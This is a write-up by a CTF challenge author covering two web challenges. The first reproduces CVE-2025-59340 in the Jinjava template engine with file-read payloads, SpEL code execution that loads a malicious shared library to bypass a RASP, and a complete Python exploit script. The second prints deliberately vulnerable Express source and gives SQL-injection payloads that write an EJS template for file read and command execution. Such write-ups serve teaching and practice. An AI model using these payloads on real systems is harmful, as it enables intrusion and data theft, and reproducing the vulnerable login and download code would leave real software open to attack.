菜菜web手第一次给比赛出题,如果题目出的不太好或者有什么问题欢迎加我扣扣(58896863)拷打我

金Java

考点:CVE-2025-59340漏洞复现+RASP绕过

JinJava是一个基于django模板语法的Java 的模板引擎

前段时间出了一个CVE-2025-59340,偶然间看到了,有点意思,所以就拿来出题了。

image-20251007231625490

官方给出的issue描述的很详细:jinjava has Sandbox Bypass via JavaType-Based Deserialization · CVE-2025-59340 · GitHub Advisory Database

这里我们根据issue,通过java.net.URL可以实现任意文件的读取

第一步,构造一个JavaType类型的java.net.URL

{{ ____int3rpr3t3r____.config.objectMapper.getTypeFactory().constructFromCanonical("java.net.URL")) }}

第二步,利用 Jackson 的 ObjectMapper中的readValue来调用java.net.URL的单参数且参数为String的构造方法

{{____int3rpr3t3r____.config.objectMapper.readValue('"file:///etc/passwd"',____int3rpr3t3r____.config.objectMapper.getTypeFactory().constructFromCanonical("java.net.URL"))}}

接着链式调用得到的java.net.URL对象读文件

{{____int3rpr3t3r____.config.objectMapper.readValue('"file:///etc/passwd"',____int3rpr3t3r____.config.objectMapper.getTypeFactory().constructFromCanonical("java.net.URL")).openStream().readAllBytes()}}

第三步,利用 Jackson 的 ObjectMapper中的convertValue将readAllBytes()返回的bytes转换成base64

{{ ____int3rpr3t3r____.config.objectMapper.convertValue(____int3rpr3t3r____.config.objectMapper.readValue('"file:///etc/passwd"',____int3rpr3t3r____.config.objectMapper.getTypeFactory().constructFromCanonical("java.net.URL")).openStream().readAllBytes(),____int3rpr3t3r____.config.objectMapper.getTypeFactory().constructFromCanonical("java.lang.String")) }}

image-20251007233203834

实现任意文件读之后,可以利用file协议来看目录

查看根目录

{{ ____int3rpr3t3r____.config.objectMapper.convertValue(____int3rpr3t3r____.config.objectMapper.readValue('"file:/"',____int3rpr3t3r____.config.objectMapper.getTypeFactory().constructFromCanonical("java.net.URL")).openStream().readAllBytes(),____int3rpr3t3r____.config.objectMapper.getTypeFactory().constructFromCanonical("java.lang.String")) }}

image-20251007233338090

可以看到flag,但是没有权限读,需要RCE后去用readflag读

image-20251007233506482

可以读cmdline或者直接看网站目录,可以看到这里上了Rasp

可以利用任意文件读将Rasp下载下来

image-20251007233724418

这里把能命令执行的函数的办掉了

只是表面办了System#load,但是实际上可以利用Runtime#load或者更底层的方法去加载so,也就是利用比较常见的Rasp绕过方法,通过加载恶意so来绕过Rasp

参考文章:浅谈Java-JNI如何加载动态库时直接执行恶意代码-先知社区

按照上面构造java.net.URL任意文件读取的方法,我们利用SpelExpressionParser来通过SpEL表达式实现任意代码执行

Payload如下

{% set i=____int3rpr3t3r____.config.objectMapper %}{{ i.readValue('{}',i.getTypeFactory().constructFromCanonical("org.springframework.expression.spel.standard.SpelExpressionParser")).parseExpression("T(java.lang.Runtime).getRuntime().load('/app/expe.so')").getValue() }}

接着就是写文件,SpelExpressionParser对表达式有长度限制(10000),我们需要分段上传

本意是题目不出网,通过写文件的方式去加载so。但是实际比赛的时候题目是出网的,所以可以直接加载远程的so。

完整EXP

 1import base64
 2import re
 3
 4import requests
 5
 6def split_and_encode_file(path: str, chunk_size: int = 600):
 7    with open(path, "rb") as f:
 8        while True:
 9            chunk = f.read(chunk_size)
10            if not chunk:
11                break
12            yield base64.b64encode(chunk).decode("ascii")
13
14path = "exp.so"
15templates = """{% set i=____int3rpr3t3r____.config.objectMapper %}{{ i.readValue('{}',i.getTypeFactory().constructFromCanonical("org.springframework.expression.spel.standard.SpelExpressionParser")).parseExpression("T(java.nio.file.Files).write(T(java.nio.file.Paths).get('expe.so'), T(java.util.Base64).getDecoder().decode('content'),T(java.nio.file.StandardOpenOption).CREATE,T(java.nio.file.StandardOpenOption).APPEND)").getValue() }}"""
16
17burp0_url = "http://ip:port/"
18
19for idx, part in enumerate(split_and_encode_file(path, chunk_size=7000)):
20    template = templates.replace("content",part)
21    burp0_data = {"name": template}
22    post = requests.post(burp0_url, data=burp0_data)
23    # print(post.text)
24
25payload = """{% set i=____int3rpr3t3r____.config.objectMapper %}{{ i.readValue('{}',i.getTypeFactory().constructFromCanonical("org.springframework.expression.spel.standard.SpelExpressionParser")).parseExpression("T(java.lang.Runtime).getRuntime().load('/app/expe.so')").getValue() }}"""
26post = requests.post(burp0_url, data={"name": payload})
27# print(post.text)
28payload = """{% set i=____int3rpr3t3r____.config.objectMapper %}{{ i.convertValue(i.readValue('"file:///tmp/123"',i.getTypeFactory().constructFromCanonical("java.net.URL")).openStream().readAllBytes(),i.getTypeFactory().constructFromCanonical("java.lang.String")) }}"""
29post = requests.post(burp0_url, data={"name": payload})
30
31base = re.search(r'<div>Hello,\s*(.*?)</div>', post.text).group(1)
32print("FLAG:"+ base64.b64decode(base).decode())

ez_signin

这道题是我在大半年前还是大一的时候出的,本意是作为一道简单签到题的,因为没有比较困难或者比较新的考点,都是一些常规的利用,但是没想到解题数相对较少。

image-20251008020759008

image-20251008020810703

拿到题目是一个登录/注册

注册的用户没有权限,可以在登陆处直接万能密码登录到admin

image-20251008020942647

登进去之后是一个文件列表,下载处存在目录穿越

image-20251008021010630

目录穿越有waf,但是不是很严格,可以直接../app.js读上层目录拿源码

  1const express = require('express');
  2const session = require('express-session');
  3const sqlite3 = require('sqlite3').verbose();
  4const path = require('path');
  5const fs = require('fs');
  6
  7const app = express();
  8const db = new sqlite3.Database('./db.sqlite');
  9
 10/*
 11FLAG in /fla4444444aaaaaagg.txt
 12*/
 13
 14app.use(express.urlencoded({ extended: true }));
 15app.use(express.static(path.join(__dirname, 'public')));
 16app.use(session({
 17  secret: 'welcometoycb2025',
 18  resave: false,
 19  saveUninitialized: true,
 20  cookie: { secure: false }
 21}));
 22
 23app.set('views', path.join(__dirname, 'views'));
 24app.set('view engine', 'ejs');
 25
 26
 27const checkPermission = (req, res, next) => {
 28  if (req.path === '/login' || req.path === '/register') return next();
 29  if (!req.session.user) return res.redirect('/login');
 30  if (!req.session.user.isAdmin) return res.status(403).send('无权限访问');
 31  next();
 32};
 33
 34app.use(checkPermission);
 35
 36app.get('/', (req, res) => {
 37  fs.readdir(path.join(__dirname, 'documents'), (err, files) => {
 38    if (err) {
 39      console.error('读取目录时发生错误:', err);
 40      return res.status(500).send('目录读取失败');
 41    }
 42    req.session.files = files;
 43    res.render('files', { files, user: req.session.user });
 44  });
 45});
 46
 47app.get('/login', (req, res) => {
 48  res.render('login');
 49});
 50
 51app.get('/register', (req, res) => {
 52  res.render('register');
 53});
 54
 55app.get('/upload', (req, res) => {
 56    if (!req.session.user) return res.redirect('/login');
 57    res.render('upload', { user: req.session.user });
 58    //todoing
 59});
 60
 61app.get('/logout', (req, res) => {
 62  req.session.destroy(err => {
 63    if (err) {
 64      console.error('退出时发生错误:', err);
 65      return res.status(500).send('退出失败');
 66    }
 67    res.redirect('/login');
 68  });
 69});
 70
 71app.post('/login', async (req, res) => {
 72    const username = req.body.username;
 73    const password = req.body.password;
 74    const sql = `SELECT * FROM users WHERE (username = "${username}") AND password = ("${password}")`;
 75    db.get(sql,async (err, user) => {
 76        if (!user) {
 77            return res.status(401).send('账号密码出错!!');
 78        }
 79        req.session.user = { id: user.id, username: user.username, isAdmin: user.is_admin };
 80        res.redirect('/');
 81    });
 82});
 83
 84
 85
 86app.post('/register', (req, res) => {
 87  const { username, password, confirmPassword } = req.body;
 88  
 89  if (password !== confirmPassword) {
 90    return res.status(400).send('两次输入的密码不一致');
 91  }
 92  
 93  db.exec(`INSERT INTO users (username, password) VALUES ('${username}', '${password}')`, function(err) {
 94    if (err) {
 95      console.error('注册失败:', err);
 96      return res.status(500).send('注册失败,用户名可能已存在');
 97    }
 98    res.redirect('/login');
 99  });
100});
101
102app.get('/download', (req, res) => {
103  if (!req.session.user) return res.redirect('/login');
104  const filename = req.query.filename;
105  if (filename.startsWith('/')||filename.startsWith('./')) {
106    return res.status(400).send('WAF');
107  }
108  if (filename.includes('../../')||filename.includes('.././')||filename.includes('f')||filename.includes('//')) {
109    return res.status(400).send('WAF');
110  }
111  if (!filename || path.isAbsolute(filename) ) {
112    return res.status(400).send('无效文件名');
113  }
114  const filePath = path.join(__dirname, 'documents', filename);
115  if (fs.existsSync(filePath)) {
116    res.download(filePath);
117  } else {
118    res.status(404).send('文件不存在');
119  }
120});
121
122
123
124const PORT = 80;
125app.listen(PORT, () => {
126  console.log(`Server running on http://localhost:${PORT}`);
127});

可以看到upload是没有ejs文件的

image-20251008021633861

而且在login和register处是存在sql注入的

但是这里有一个坑就是login处的db.get函数不支持执行多条sql语句,也就是说不能堆叠注入。而在register处的db.exec是支持的。

所以我们可以在register处通过sqlite创建数据库文件的方式,去写ejs模板,打ejs模板渲染

payload

admin');ATTACH DATABASE '/app/views/upload.ejs' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<h1><%- include("/fla4444444aaaaaagg.txt"); %></h1>');/*

image-20251008022232879

也可以直接RCE去读

123');ATTACH DATABASE '/app/views/upload.ejs' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<h1><%=process.mainModule.require("child_process").execSync("cat /fla4444444aaaaaagg.txt") %></h1>');/*